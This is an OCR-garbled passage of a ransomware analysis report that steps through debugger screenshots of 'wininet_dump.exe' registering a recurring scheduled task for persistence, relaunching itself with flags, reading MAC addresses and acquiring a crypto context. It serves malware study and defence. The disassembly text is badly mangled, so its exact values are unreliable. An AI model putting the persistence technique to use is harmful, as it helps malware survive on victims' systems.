A 00 push 0 XB7SW_CL 0 xB7SWCO O x87SWES O
en FF push FEFFEFFE XB7SWSF 0 x87SW.P 1 x&7SWU 0
ca 00 pus
FF 15 EO C3 21 00 call dword ptr dsi[<ecoInitializesecurity>] v T

5 | Default (stcal) ~|[s ] unlock
— — - — - 1: [esp] DOD0OODD
dword ptr [DDZICSED <wininet_dump.&CoInitializesecurity>]=<combase.CoInitializesecuritys 21 [esp+a] FFEFEFEF
3i [espr8] D0ODDOOD
e 2: [esp+C] 000DDDOO
. TexXt:0015D28F wininet_dump. exe: $D28F #D28F

& 00000000
Woump1  @ypump? @ypump3  @oump4  @Upumps @ watcht | Ixellocals ¥ Struct 0135E058 | FFFFEFFF
Address ASCII ~ ggzggzﬁ Shntatn
0ZGEF7AD EE FE EE FE|EE FE EE FE|p=n.3'0.1pipipip ey e
036EF7B0| EE FE EE EE FE EE FE|EE FE EE FE|ipipibipibip Aioaean Ariial
03GEF7CO| EE FE EE EE FE EE FE|EE FE EE FE|ipibibipibibibib 0135E06C 00000000
036EF7DO| EE FE EE EE FE EE FE|EE FE EE FE|ipibibibibipipip s e
0ZGEF7EQ | EE FE EE EE FE EE FE|EE FE EE FE|ipipi

Tl e B £ElEE EE f IRiED Ef g Elininibivipipinih 0135E074 | 00000000

Figure 43

The process creates an object with the CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}, which

implements the Schedule.Service class for operating the Windows Task Scheduler Service:

50 push eax

68 EC 4F 22 00 push wininet_dump.224FEC xB7Statusword 0020

6A OL push 1 XB7SW_B 0 X87SW_.CZ 0 X87SW.CZ O

6A 00 push o XB7SW_C1 O X87SW_CO 0 X87SW_ES O

65 6C 50 22 00 push wininet_dump.22506C XB7SW_SF 0 X87SW_P 1 X87SW_U O

C7 45 E4 00 00 00 00 mov_dword ptr ss:[febp-1cl,0

FF 15 E8 €3 21 00 €all dword ptr ds: [<&CoCreateInstance>] v

5 | Default (stdcal) ~ |[5 1] (] unlod:
— 1: [esp] 0022506C wininet_dump.0022506C
dword ptr [DDZ1C3E& <wininet_dump.&CoCreatelnstances]=<combase.CoCreatalnstances 2: [esprd] D0D000OO
3: [esp+8] 00000001
i 4: [esp+C]_00224FEC wininet_dump.00224FEC

. text:0015D2D5 wininet_dump. exe: SD2D5 #D2D5

wininet_dump.0022506C

wininet_dump.00224FEC

@ 0022506C
Woumpt  @Dump2  @WDump3  WHDump4  @Wpumps  ® wath1  Ixllocas & Stuct e
0135E06C
Sgg;:::( g:KBE 87 OF [E5 A4 FC 4C|BD 3t 73 E6|15 45 72 DD ngcuximmsa Er-vl *| 135E070 | 0n224FEC
AAmaraTe | ra a4 A nﬂ‘r1 Erarsy «1|nn BN m—‘;\n F1oar mmlame = R LA -\‘ 0135E074| 0135ESAC

Figure 44

You can notice if you follow the C++ implementation mentioned above that in a case of a function call such as p -
> f(a,b), the assembly representation contains 3 parameters pushed on the stack (because the pointer p is pushed as
well). An example of such a call is represented by the ITaskService::GetFolder method, which gets a folder of

registered tasks:

56 push esi = = X87SW_B 0 X87SW_C3 0 X87SW.C2 O

52 push edx X87SW_C1 0 x87SW_CO 0O X87SW_ES O
50 push eax X87SW_SF 0 XB87SW_P 1 X87sSW_U o
3B 08 mov_acx,dword ptr ds:[eax]
BTN €all dword ptr ds:[ecx+1C] _ v
5 | Defeult (stdcal) ~ |5 [+ unlock
1: [es| 034C7150
dword ptr [ecx+lC]=[taskschd.G&C4ELGF4]=taskschd.6C4F3060 28 Eesg}-‘z} 036F72D4
3: [esp+8] O135E5B4
wEa 4: [asp+C] 00000258
.TEXT: 00150411 wininet_dump.exe:$D411 #D411

Woump1  @ipump2  @hoump3  @loumps  Wloumps @ watchi  bellecals @ Stuct

Figure 45

A task called “Time Trigger Task” is deleted using the ITaskFolder::DeleteTask method:

6A 00 push o XB7SW_B O XxB75W_C3 0 x875W C2 O
52 push edx edx:L XB75W . C1 0 xB7SW._CO O XxB7SW_ES O
50 push eax XB7SW_SF 0 XB7SW_P 1 xB875W_U o
8B 08 mov_ecx,dword ptr ds: [eax] I
FF 51 3C call dword ptr ds:[ecx+3C] _ v
5 | Defeult stdcall) =[5 2] (] unied
1: [esp] 034C72A8
dword ptr [ecx+3C]=[taskschd.6C4E1SD4]1=taskschd. 6CAF57AD 2: EESEL‘} 036F72FC L"Time Trigger Task"
3: [esp+s] 00000000
SR 4: [esp+C] 00000258
.text:0015D462 wininet_dump.exe: $D462 #D462
<) 034C72A8
@oump1 | @pump2 | BMoumps  @Boump4 | WDumps | @ warh1 | belloas P Stuct %m( T
R Taartr T Cloizseora

Figure 46

The ITaskService::NewTask function is utilized to create an empty task definition object:
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52 push edx & = xB7Statusword 0020
€7 45 FO 00 00 0O 00 mov dword ptr ss:[ebp-10J,0 x87SW_B 0 x875W.C3 0 x87SW.CZ 0
6A 00 push 0 XB7SW_C1 0 XxB87SW_CO O X87SW_ES 0O
88 08 mov ecx,dword ptr ds:[eax] XB7SW_SF 0 Xx87SW_P 1 X87SW_U o
50 push eax
FF 51 24 call dword ptr ds:[ecx+24] v
- > |Defauit (stdcal) -
1: [esp] 034C7150
dword ptr [ecx+24]=[taskschd.e&C4E16FC]=taskschd.6C4F9130 2: E=5314} 00000000
3: [esp+8] 0135ESBS8
L 4: [esp+C] 00000258
. TeXT: 00150484 wininet_dump.exe:$D484 #D484
P 034C7150
@Woumpt  Woump2  @Hoump3  WWDump4  @Houmps @ wathi  llels & stuct 0135E070
[addreacs Tuav TasrTr T - |0135E074 | D135E5B8

Figure 47

An example of a safe release when the pointer is no longer used is shown in figure 48:

51 push ecx | x875w_sF 0 x87SW_P 1 x87SW.U 0O
88 11 mov_edx,dword ptr ds:[ecx] i
FF 52 08 €all dword ptr ds: [edx:5] v
eyt = Default {stdcall) - [ unlock
1: [es| 034C7150
dword ptr [edx+B]=[6C4ELGED " ZO1"]=taskschd.GC4F5AGD 3t Eesglq 00000258
3: [esp+8] 03745250
e, 4: [esp+C] 00000000
. text:0015D48F wininet_dump. exe: $SD48F #D48F
PN = e e e e [ T  0135£07 4 IEEEEFEN

Figure 48

The binary retrieves the registration information of the task (the description, the author, and the date the task is

registered) by calling the ITaskDefinition::get_RegistrationInfo method:

52 push edx XB75W_C1 0 x87SW_CO 0O x875W_E5 0O
50 push eax XB7SW_SF 0 X87SW_P 1 x875W_U o
88 08 mov ecx,dword ptr ds:[eax] :
EIP, FF 51 1C call dword ptr ds:[ecx+1C] v
5 | Default (stdcal) = |[5_[] (] unod
1: [esp] 034C7308
dword ptr [ecx+lC]=[taskschd.&C4ELF00]=taskschd.&C5190F0 3t Eesglﬂ 0135E58C
3: [esp+B] 00000258
5ok 4: [esp+C] 03745250
.text:0015D4BD wininet_dump. exe: SD4BD #D4BD
& 034C7308
@44 Dump 1 @45 bump 2 B4y Dump 3 Y4 Dump 4 @Y pump 5 @ Watch 1 [x=] Locals é’ Struct '0135E074 | 0135E58C

Figure 49

IRegistrationInfo::put_Author is used to set the author of the task to “Author Name”:

push edx edx:L X87SW_C1 0 x87SW_C0O 0O Xx87SW_ES O
push eax XB7SW_SF 0 Xx87SW_P 1 X87sSW_U o
mov ecx,dword ptr ds:[eax] :
call dword ptr ds:[ecx+25] v
5 | Default (stdcal) = |[5 ][] unod:
1: es| 034C73C0
dword ptr [ecx+28]=[taskschd.&C4E1924]=taskschd. 6CAFBF30 2: Egsglﬂ 036F7394 L"Author Name"
3: [esp+8] 00000258
. 4: [esp+C] 03745250
. TEXT:0015D4EC wininet_dump. exe: $D4EC #D4EC

o) 034C73C0
Woup1 | @ioump2  WhDurp3 | BBDurpd  Hpumps | @ Watthi | beellocds | 2 Stuct I O 00 | L author Name™

Figure 50

The ransomware retrieves the principal for the task (which provides the security credentials) by calling the
ITaskDefinition::get_Principal function:

; 52 push edx & 7 XB7SW_C1 O X875W_CO O XB7SW_ES 0O
| 50 push eax XB7SW_SF 0 x87SW_P 1 x87SW.U 0O
| 8B 08 mov_ecx,dword ptr ds:[eax] I
- FF 51 3C call dword ptr ds:[ecx+3c] v
] 5 | Default (stdcal) - [ unlock
1: s 034C7308
dword ptr [ecx+3C]=[taskschd.&C4E1F20]=taskschd. 6C4EF680 2: E?sglﬂ 0135E594
3: [esp+8] 00000258
2o 4: [esp+C] 03745250
. text:0015D51F wininet_dump. exe:SDS1F #D51F
P 034C7308
@oump1 | @ipump2  Wpumps | BBoump4 | WDumps | @ watchl | e-llock | 4P Stt [ o

Figure 51

The security logon type is set to 0x3 (TASK_LOGON_INTERACTIVE_TOKEN), which means that the task
will be run only in an existing interactive session:

64 03 push 3 X87SW_C1 0 XxB7SW_CO O xB7SW_ES 0O
50 push eax X37SW_SF 0 x87SW_P 1 x87SW_U 0
88 08 mov_ecx,dword ptr ds:[eax]
EIP, FF 51 38 call dword ptr ds:[ecx38] _ v
5 |pefoult (stdcal) ~+|[5_[2] urlock
1: [esp] 034C75A8
dword ptr [ecx+38]=[taskschd.6C4E1314]=taskschd. 6C4EBABD 2t Ees'514] 00000003
3: [esp+s] 00000258
< 4: [esp+C] 03745250
.text:0015D532 wininet_dump. exe: $D532 #D532
P Fmaﬁqmquma
@Woump1  @loump2  @Yoump3  @pump4  @houmps @ watchi  brellocals g Struct '0135E074 | 00000003 |

Figure 52
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ITaskDefinition::get_Settings is utilized to retrieve the settings that describe how the Task Scheduler performs the
task:

52 push edx XB7SW_C1 0 x87SW_CO 0 X87SW_ES O
50 push eax XB7SW_SF 0 X87SW_P 1 X87SW_U O
38 08 mov_ecx,dword ptr ds:[eax] I
EIP, FF 51 2C €all dword ptr ds: [ecx+2C] v
! > Default (stdcall)
dword ptr [ecx+aC]=[taskschd.6&C4E1F10]=taskschd. 6CAEFAED

~ |[5 1] (] unlod:
1: [esp] 034C7308
2: [esp+4] O135E59C
3: [esp+B] 00000258
e 4: [esp+C] 03745250
. TEXT:0015D559 wininet_dump. exe: $D559 #D559 =
Woump1  @Wipump2 Whpump3  @loump4  @Woumps @ watch1

Ix=] Locals # struct 0135E074 gigugos
Figure 53

5E59C

The file sets a Boolean value to OXFFFFFFFF (VARIANT_TRUE) that indicates the Task Scheduler can start the

task at any time after its scheduled time has elapsed using the ITaskSettings::put_StartWhenAvailable method:

GA FF push FFFFFFFF
50 h eax

xB75W_C1 0 x87SW_.CO 0 x87SW_ES O
pus| XB7SW_SF 0 x87SW_P 1 x87SW_U 0O
3B 08 mov_ecx,dword ptr ds:[eax] I
EIP FF 51 58 call dword ptr ds:[ecx:53] v
= = Default (stdcall)
dword ptr [ecx+58]=[taskschd.6C4E14D0]=taskschd. 6CAFE3F0

=[5 F]0] unlock
1: [esp] 034C7440
2: [espta] FFFFFFFF
3: [esp+8] 00000258
i 4: [esptC] 03745250
.text:0015D56C wininet_dump. exe: $D56C #D56C
4% Dump 1

WHW‘
0135E074 | FFFFFFFF

@Woump2  @ypDump3

Figure 54

@oump4  @pump s

O Watch1  Ir=llocals & Struct

The amount of time the Task Scheduler will wait for an idle condition to occur is set to 5 minutes via a function
call to IIdleSettings::put_WaitTimeout:

52 push edx edxilL X87SW_C1 O x87SW_CO 0 X87SW_ES O
50 push eax

88 08 mov ecx,dword ptr ds:[eax]

FF 51 28

XB7SW_SF 0 XB7SW_P

call dword ptr ds:[ecx 28] vl
e 3 = . 5 | Defaut (stcal)
dword ptr [ecx+28]-[taskschd.6&CAE1BE4]—taskschd. 6CAF9A30

~|[5_1£]00 unioo
1: [esp] 024C74C8
2: [espr4] 036F7394 L"PTSM"
3: [espr8] 00000258
s 4: [esp+C] 03745250
. text:0015D5CS wininet_dump. exe: SD5CS #D5CS
Woump1  @ypump2 @ypump3  EWoump4  EWpumps @ watch1

I*= Locals ;;’ Struct m;ﬁ;g: ‘ L"PTSM"
Figure 55

1 x875W_U 0O

ITaskDefinition::get_Triggers is used to get a collection of triggers used to start the task:

52

push edx XB75W_C1 0 x87SW_CO O x875W_E5 0O
50 push eax XB7SW_SF 0 X875W_P 1 x875W_U o
88 08 mov_ecx,dword ptr ds:[eax] |
FF 51 24 call dword ptr ds:[ecx+24] v
i 5 | Defalt Gstdcal) ~ |[s 2] 0] unock
1: [esp] 034C7308
dword ptr [ecx+24]=[taskschd.6C4E1F08]=taskschd.6C4ED8I0 2: E?sglﬂ 0135E57C
3: [esp+s] 00000258
i 4: [esp+C] 03745250
. text:0015D5F8 wininet_dump. exe: SD5F8 #D5F8
WWoump1  @pump2 Whoump3  @loump4  @Woumps @ watch1

ir=llocals 4 Struct

mﬁmﬁmos
D135E074| D135E57

C

Figure 56

The executable creates a new trigger for the task using the ITriggerCollection::Create method (0x1 =
TASK_TRIGGER_TIME):

v 52 push edx X/5TATUSWOra VUZU
f €7 45 CO 00 00 0O 00 mov dword ptr ss:ffebp-40f,0 X87SW_B 0 X87SW_C3 0 x87SW.CZ O
' 6A 01 push 1 X87SW_C1 0 x87SW_CO 0O X87SW_ES O
28 08 mov ecx,dword ptr ds:[eax] X87SW_SF 0 X87SW_P 1 X87SW.U 0
push eax
B call dword ptr ds:[ecx+28] _
dword ptr [ecx+28]=[taskschd.6C4E1358]=taskschd. 6CAFAADD

v
5 |Defeult (stdcal) ~ [5_[2] 0] unock
1: [esp] 034C7558
2: [esp+4] 0000000
3: [esp+8] O135E586

i 4: [esp+C] 00000258
.TexT:00150616 wininet_dump.exe: D616 #D616
W@Woumpt  @pump2 @ Dump 3
addrace [ uav

Wooump4 B4 Dump 5

@ watch1 | I=llocals & Struct

034C7558

‘0135E070| 00000001

lTacrrr T . |D135E074| 0135E588
Figure 57

There is a QueryInterface call with a parameter set as CLSID {B45747E0-EBA7-4276-9F29-85C5BB300006} —
IID_ITimeTrigger:
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0015063,

C7 45 DC 00 00 00 00

52 push edx F
mov dword ptr ss:[febp-24],0

63 EC 50 22 00 push wininet_dump. 2250EC
88 08 mov ecx,dword ptr ds:[eax]
50 push eax
FF 11 call dword ptr ds:[ecx]

Y

xB75tatusWord 0020
xXB7SW_B O XB7SW.C3 O xB7SW CZ O
XB7SW_C1 0 XB75W CO O xB7SW ES O
XB7SW_SF O XB7SW.P 1 XB7SW.U O
v
Default (stdcal))

~ |[5 ] unlock
[esp] 034C7630

dword ptr [ecx]=[taskschd.6C4E18B4]=taskschd. 6C4FBOBO

. text: 00150642 wininet_dump.exe: $D642 #D642

[esp+4] 002250EC wininet_dump.002250EC
[esp+8] 0135E5A4
4: [esp+C] 00000258

W

034C7630
0135E070 | 002250EC | wininet_dump. 002250EC

Woump1i | @Ypump2  WHoump3  WHoumps  WMoumps @ watchi  ellecals ) stuct
Address | Hex | ASCII
002250EC |EO 47 57 B4|A7 EB 76 42|9F 29 85 C5|BB 30 00 06| aGw §evB.).A»0..|

Figure 58

01 00000258

= || 0135E074 | 0135E5A4
Al nazasrEn

The identifier for the trigger is set to “Trigger1” using the ITrigger::put_Id function:

0015D71A 52 push edx

0015D71B 50 push eax

001507 1C 08 mov_ecx,dword ptr ds: [eax]
FF 51 24 call dword ptr ds:[ecx+z4]

edx:L XB7SW_CL 0 X875W_.CO 0 x875W_ES O
XB7SW_SF 0 X87SW_P 1 X375W_U O

I
v
= Default (stdcal) -

dword ptr [ecx+24]=[taskschd.6C4E18D8]=taskschd. 6C4FDBED

. text:0015D71E wininet_dump. exe:$D71E #D71E

1: [esp] 024C7630
2: [espr4] 036F7394 L"Triggerli”
3: [esp+8] 00000258
4: [esp+C] 03745250

Y4oump1  @ypump2 WyDump3s  EWoumpa  E4oumps @ w

Figure 59

The ransomware sets the date and time when the trigger is deactivated by calling the ITrigger::put_EndBoundary

method:

0015D757
0015D758
00150759
FF 51 44

stch1  [x-llocals & Struct

52 push edx
50 push eax
mov ecx,dword ptr ds:[eax]
call dword ptr ds:[ecx+44]

034C7630
0135E074 | 036F7394

L"Trigger1"

edx:L XB75W_C1 0 x87SW_CO 0O x875W_E5 0O
XB7SW_SF 0 x87SW_P 1 x875W_U o
I 5
v
<, | Defautt (stdcal) ~ |[5_1] (] unlod:

dword ptr [ecx+44]=[taskschd.6C4E18F8]=Taskschd. 6C4FDDA0

. TeXT:00150758 wininet_dump. exe:$D758 #D75E

1: [esp] 024C7630

2: [espr4] 036F72FC L"2030-05-02T08:00:00"
3: [esp+8] 00000258

4: [esp+C] 03745250

Woump1  @pump2  @Ypump3  @pump4 @ Dump s

Figure 60

The system time is extracted via a call to the _time64 function:

50
EB 32 63 01 00

&8 watch 1

ir=llocals 4 Struct

push eax
€all wininet_dump. 173AAF

034C7630
0135E074 | 036F72FC | L"2030-05-02T08: 00: 00"

__timeed v |
Default (stdcall)

~ |[5_ 2]0 unlock

wininet_dump. 0017 3AAF

.TexT:0015D778 wininet_dump.exe: $D778 #D778

| T e e —

Figure 61

Wl [ R S L/

1: [esp] O135ES70
2: [esp+4] 00000258
3: [esp+8] 03745250
4: [esp+C] 00000000
0135E570 |

The malware formats the system time into a human-readable form using strftime:

|| 0015D78F 50 push eax
. 68 B8 00 25 00 push wininet_dump. 250088
. 8D 85 CO FE FF FF Tea eax,dword ptr ss:|Jebp-140]
™ 6A 50 push so
. 50 push eax
EIP E8 3D 51 01 00 €&17 wininet_dump.1728€0

x875tatusword 0020

250088: "% | XB7SW_B x87SW.C3 0 xB7SW.C2 0O
XB75W_C1 0 x87SW_CO O XB7SW_ES 0O
XB7SW_SF 0 x87SW_P 1 xB7SW.U 0O
1: [esp] 0135E488

—strftime v

5 | Default (stdcal)

wininet_dump.001728E0

.TexT:0015D79E wininet_dump.exe:$D79E #D79E

~ |5 20 unlock
2: [esp+4] 00DDDOSO

3: [espr8] 00250088 "5Y-Xm-%dTHH: XM :%5"
4: [esp+C] 036F2D50

Beoump:  @Wpumpz  @oump3  WWUpump4 @ Dump s

O Watch1  Ir=llocals & Struct

Address | Hex

| Asciz

Address | Hex | Az
0135E488|32 30 32 31|2D 31 30 2D|32 36 54 31|36 3A 32 342
0135E498 [ 3A 32 38 00[00 00 00 00|00 00 0O 00|00 00 OO 00|

Figure 62

"5y ~Sm-3d THH: 0 1 95"

0135E488

0135E064 | 00000050

= H 0135E068  002500E8
0135E06C | 036F2D50

The malicious binary sets the date and time when the trigger is activated by calling the

ITrigger::put_StartBoundary method:

52 push ed
= push ea
mov_ecx

%

X
,dword ptr ds: [eax]

€all dword per ds:[ecx-sc]

edx:L"2 X87SW_C1 0 x87SW_CO 0O X87SW_ES 0O
XB7SW_SF 0 X87SW_P 1 X87SW_U o
- -
=, | pefeuit (stcall = |[5_#] 0 unlock

dword ptr [ecx+3C]=[taskschd.6C4E1BF0]=taskschd. 6C4FDDOO

.Text:0015D7F2 wininet_dump.exe:$D7F2 #D7F2

1: [esp] 034C7630

2: [esp+4] D36F72FC L"2021-10-26T16:24:28"
3: [esp+d] 00000258

4: [esp+C] 03745250

@Woumpl  @oump2  @YDump3  @Dump4 @Y Dumps

Figure 63

@ watch1  I-llocals

# struct
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IActionCollection::Create is utilized to create and add a new action to the collection (0x0 =

TASK_ACTION_EXEC):

|| 00150841 52 push edx x875tatuswWord 0020
a C7 45 BC 00 00 00 0O mov dword ptr ss:[febp-44J,0 XB7SW_B 0 xB75W_C3 0 x875W.C2 0
. 64 00 push 0 XB7SW_CL 0 x875W_CO O x875W_ES 0
. 88 08 mov ecx,dword ptr ds: [eax] XB7SW_SF 0 x87SW_P 1 x875W. U 0
eloo1spasp push eax B 5
call dword ptr ds:[ecx+30] v
. o WSt 5 | pefeult (stdcal = |[s =] unlock
1: [esp] 034C7368
dword ptr [ecx+30]=[taskschd.6CAE1398]-Taskschd. 6CAEBZFO 21 [Esplﬂ 00000000
3: [esp+s] 0135E584
- 4: [esp+C]_ 00000258
. text:0015D84E wininet_dump. exe: $DB4E #DBAE

& 034C7368
ump J Dump J Dump o Dump J Dump 2 Wal x=] Locals Ui
Woump1 | @oump2  @hpump3  @Hoump4  @Houmps @B watch1  Ix=lLocal ) struct e e
=

Fadrrecs Tuav TacrTr T | 0135E074 | O135E584

Figure 64

There is a QueryInterface call with a parameter set as CLSID {4c3d624d-fd6b-49a3-b9b7-09cb3cd3f047} —
IID_IExecAction:

Xu/STATUSWOrO UUZU

! B 52 push edx
! o C7 45 D8 00 00 00 00 mov dword ptr ss:[febp-2a],0 XK87SW_B 0 X87SW_C3 0 X87SWC2 O
! a €8 1C 51 22 00 push wininet_dump, 22511C X87SW_C1 0 X87SW_CO 0O X87SW_ES 0O
| . 88 08 mov_ecx,dword ptr ds:[eax] X87SW_SF 0 x87SW_P 1 x87SW.U 0O
| . 50 push eax
i FF 11 €all dword prr ds:[ecx] v
i . = 5 | Defeut (stdcall) ~ |[5 ] unlock
= 1: [esp] 034C76D:
dword ptr [ecx]=[taskschd.6C4E1214]=taskschd.6C4EBSEBD 1 [esp+4] 0022511C wininet_dump.0022511C

2
3: [esp+8] 0135E5AD
2: [esp+C] 00000258

.TEXT:0015D87A wininet_dump.exe: $DS7A #DB7A

& 03aCTED8
@oump1 | @Ypump2  WhDump3  WWDump4  EHDumps @ watchi  Ix-llocals Y Struct 0022511C | wininet_dump. 0022511
Address | Hex | AscII | Gobno2ss
0022511C |4D 62 3D 4C|6B FD A3 49|B9 B7 09 CB|3C D3 FO 47 |MD=LKY£L -.E<00G| scer AzTACaCA

Figure 65

The path of the executable is set to the copied file using the IExecAction::put_Path method:

| 0015D886 52 push edx edx:L"C | x87SW.CL O xB7SW_CO O XB7SW_ES 0
e | 00150887 50 push eax X87TSW_SF 0 XB7SWP 1 XxB7SW.U 0
| 0015D883 38 08 mov_ecx,dword ptr ds:[eax]
FF 5390 c€all dword ptr ds:[ecx+2c] v
ole = - ", |pefut stacan
1: [esp] 034C76DE

dword ptr [ecx+2C]=[taskschd. 6C4E1240]=taskschd. GCAEA3DD 2i [esp+4] 036F2D94 L™
3: [esp+8] 00000258
4: [esp+C] 03745250

. TEXT:001508BA wininet_dump. exe: SDBEA #DBEA

. . . " . = a) 034C76D8
EWoump1  @oump2  Wlpump3  UHoump4  GHDumps @ watcht  beellocals 7 Stuct 0135E074 | 036F2094 | L"C:\\Users\\IIll\\AppData\\Locall\6ele2222
0135E075 | 00000258

0135E07C | 03745250
0135E080 | 00000000
0135E084 | 0135E288
0000006C
03690260
)| 1IF04001B
03731020 | L"C: \\WINDOWS'\Registratrion\\R00000000001F
03731018
036900C0
06040002
AzRanAAN

TR TLET e

036F2E24 | 64

Figure 66

The “~Task” argument is added by calling the IExecAction::put_Arguments function:

52 push edx edx:L"- XB7SW_C1 O XxB7SW.CO O x875W_ES 0O
50 push eax XB7SW_SF O xB75W_P 1 XB75W_U o
38 08 mov_ecx,dword ptr ds:[eax] | -
EIF FF 51 34 call dword ptr ds:[ecx+34] . v
5 | Default (stcal) ~[5 E]0 unlock
1: [es| 034C76D3
dword ptr [ecx+34]=[taskschd.6CAE1248]-taskschd. 6CAEI5CO o EESEL] 036F7394 L"—-Task"
3: [esp+s8] 00000258
oy 4: [esp+C] 03745250
.text: 00150901 wininet_dump.exe:$D201 #D901 5 = =
o) 034C76DB
@oum1 | Wpump2 | BMoumps | BBpumpd | BDumps | @ watchl | bellocas | 4P Stuct e —

Figure 67

Finally, the malware uses the ITaskFolder::RegisterTaskDefinition method to create the task called “Time Trigger
Task” (0x6 = TASK_CREATE_OR_UPDATE):

X87STatusword 0020

® | 0015D9CF 6A 06 push &
| 00150301 FF 75 FO push dword ptr ss:[ebp-10] XB7SW_B O XB7SW.C3 O XB7SW_CZ O
. F3 OF 7F 00 movdqu xmmword ptr ds:[eax],xmmo XB7SW_C1 O XB7SW_CO O XB7SW_ES O
L] 5 push esi esi:L™ XB7SW_SF 0 XB7SW_P 1 XB7SW_U o
. push acx
EE—— call dword ptr ds:[edx+24] v
. i - - . Defauit (stdcal) ~[5 ] unlock
> I'4: [esp] 034c7248
dword ptr [edx+44]=[taskschd.&C4EL5DC]=taskschd. GCAF4FCO 3: [espra] 036F72FC L'Time Trigoer Task”
3: [esp+8] 034C7308
o 4: [esp+C] 00000006
.TeXT:0015D90A wininet_dump.exe:$DIDA #DIDA -
034C72A8

0135E034
0135E038

036F72FC |L"Time Trigger Task™
034C7308

Woump1  @Wipumpz  @Hoump3  @lipump4  Wpumps @ wath1 | ellocals P Stuct

Address | Hex ASCII ~ | o135€03C

036F72FC |54 00 69 00|6D 00 65 00|20 00 54 00(72 00 &% O0(W.i.m.e. .T.r.i. 0135E040 00000000
036F730C |67 00 &7 00|65 00 72 00(20 00 54 00|61 00 73 00(g.g.e.r. .T.a.s. 0135E044 | 00000000
wastonat | pefalbelo apjoutonon [om ko fon nefae feos E SRS R 0k 01352043 00000000

Figure 68
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Here is the newly created scheduled task in Windows Task Scheduler:

[ Time Trigger... Ready  At4:24PMon 021 - After triggered, repeat every 5 minutes indefinitely. .. 1

The task has not yet run. Author Name

<

General Triggers Actions Conditions Settings  History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties command.

Action Details

Start a program C:\Users [l AppData\ Local\be1€2222-531-4075-930F-7e87243accf2\wininet_dump.exe -~Task

Figure 69

The ransomware launches itself with the following parameters “—Admin IsNotAutoStart IsNotTask”

(IsNotAutoStart = malware didn’t run based on the Run registry key, IsNotTask = malware didn’t run based on the
scheduled task):

i push eax & X87SW_C1 0 x875W_CO 0 x87SW_ES O
H C7 84 24 CC 01 00 00 05 00 mov dword ptr p+1cclf,5 X87SW_SF 0 x87SW_P 1 x87SW.U 0O
H C7 84 24 BC 01 00 00 FO 3F mov_dword ptr p+16C[,wininet_dump. 253FF0 [word [
FF 15 20 €3 21 00 €all dword ptr ds:[<&shellexecuteExw:] v
! Default (stdcal) +|[5 2] urlock
% < >
- — 1: [esp] O135E794
dword ptr [0021C320 <wininet_dump.&ShellEXecUteExW>]=<she1132.5hellEXecUTeEXW> 3: [espr4] 00174141 <wininet_dump.EntryPoint>
3: [esp+3] 0000DDDA
s 4: [esp+C]_00000000
. text:0016A6D9 wininet_dump. exe: $1A6D9 #1A6DY
P 0135E794
@Woump1 | @Yoump2  Wpump3  WHoDumps  @Houmps @ watchi  Ixllocals 2 Stuct 00174141 | wininer_dump. EntryPoint

Hex

Address

01356794 | 3C 00 00 00|00 00 00 00|00 0D 00 00|EQ 3E 25 00
0135E7A4|BS F2 35 01 (DO E9 35 01(20 3C 72 03|05 00 00 00
0135E784 |00 00 DO 00|00 OO 00 00|00 0O 00 00|00 00 00 0D
0135E7C4 |00 00 00 00|00 00 00 00(00 OO 00 00|00 00 €9 03
Address | Hex

0135F2B6|43 00 3A00l5C 0055 00 s
0135F2C8|5C 00 oo .S,
0135F208|68 00 74 00|6F 00 70 00 T ent
0135F2E8| 69 OO0 6E 00|65 00 74 0O .n.e. Lu.m.
0135F2F8|70 OO0 2E 00I65 00 78 00 14 00 00 0O L..B.X. 8.
Address | Hex

D135E900(2D 0O 2D 00|41 00 64 00|6D 00 69 00|GE 00 20 00| -.-.A.

0135E9E(Q| 49 00 73 00|4E 00 6F 00|74 00 41 00|75 00 74 00| I.S.N.
0135E9F0|6F 00 53 00|74 00 61 00|72 00 74 00|20 00 49 00|0.S.t.

0135EA00| 73 00 4E OC|6F 00 74 00|54 00 61 00|73 00 6B 0O|S.N.O.

Figure 70

00000004
0| oooooooo
03745250
037313F9 | "00"

026A0FE0

73 00 65 00
5C 00 44 00
5C 00 77 00
5F 00 64 00
651 00 00 00

72 00 73 00
65 00 73 00
69 00 6E 0O
75 00 6D 00|1

“—Task“ parameter

We’ll only highlight different actions that are performed by the ransomware running with this parameter without

mentioning the same actions as in the case of running with no parameters.

GetAdaptersInfo is utilized to retrieve adapter information (including the MAC address) for the localhost:

XB7SW_SF 0 x87SW_P 0 X87SW_U 0
push esi T

call dword ptr ds:[<sGetadaptersinfos]

push eax ‘

5
FF 15 98 €O 21 00

v
5 | Default (ticai ~ 5 E]O unled
1: [esp] 02D2FE28
dword ptr [0D021C098 <wininet_dump.&GetAdaptersinto>]=<iphipapi.GetAdaptersinfos 2: Egsglﬂ ODAFE4B4
3: [esp+s] 00000001
Lo 4: [esp+C] 00263278 wininet_dump.00263278
. TEXT:0015E6BY wininet_dump. exe: SEGBY #E6BI
P Fmﬂ‘oznznza
@hoump1  @pump2  @oump3  @oump4  WWoumps @ watch1  [x=lLocals ' struct ODAFE4AS | DDAFE4B4
Address | Hex | AscII
02D24346|30 30 3A 30|43 3A 32 39|3A 32 35 34|36 36 3A 31|00:0C:29:25:6631
02024358135/ 00 AB AB|AB AB AB AB|AB AB EE FE|EE FE EE FE|S5.ssszsxsaibibib

Figure 71

The malware calls the CryptAcquireContextW API in order to obtain a handle to a particular key container within
a cryptographic service provider (0x1 = PROV_RSA_FULL and 0xF0000000 =
CRYPT_VERIFYCONTEXT):
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0015E8BE 68 0D 00 00 FO push FOD0DDOD
D 01 push 1

6A 0O push 0

A 00 pus|

8D 45 E4 lea eax,dword ptr ss:|[ebp-1c])
€6 45 FC 01 mov byte ptr ss:ffebp-4ff,1

50 push eax
FF 15 4C €O 21 00

call dword ptr dsi[<aCryptAcquireContextws]

Ao IM_® 3 (Empiy)  ASsim_s 3 LEmpLY)

x875tatusword 0000

X875W_B O xB7SW.C3 0 xB7SWC2 O
X87SW_C1 O XB7SW_CO O XB7SW_ES O
X87SW_SF O XBFSW_P 0 XB7SW_U O

) ~ [5_[2][ unodk

w[E —
Default (stdcall)
1: [esp] DOAFE484

dword ptr [0021C04C <wininet_dump.&CryprAcquireContextw>]=<advapi32.CryprAcquir eContextws,

. text:0D015EECE wininet_dump.exe:SESCE #ESCE

2: [esp+4] 00000000
3: [esp+s] 00000000
4: [esp+C] 00000001

@Woump1  @pump2  WMDump3  @WDump4  WWoumps @ wawhi  Ixllocals 7 Struct

E484

Address | Hex ASCII I
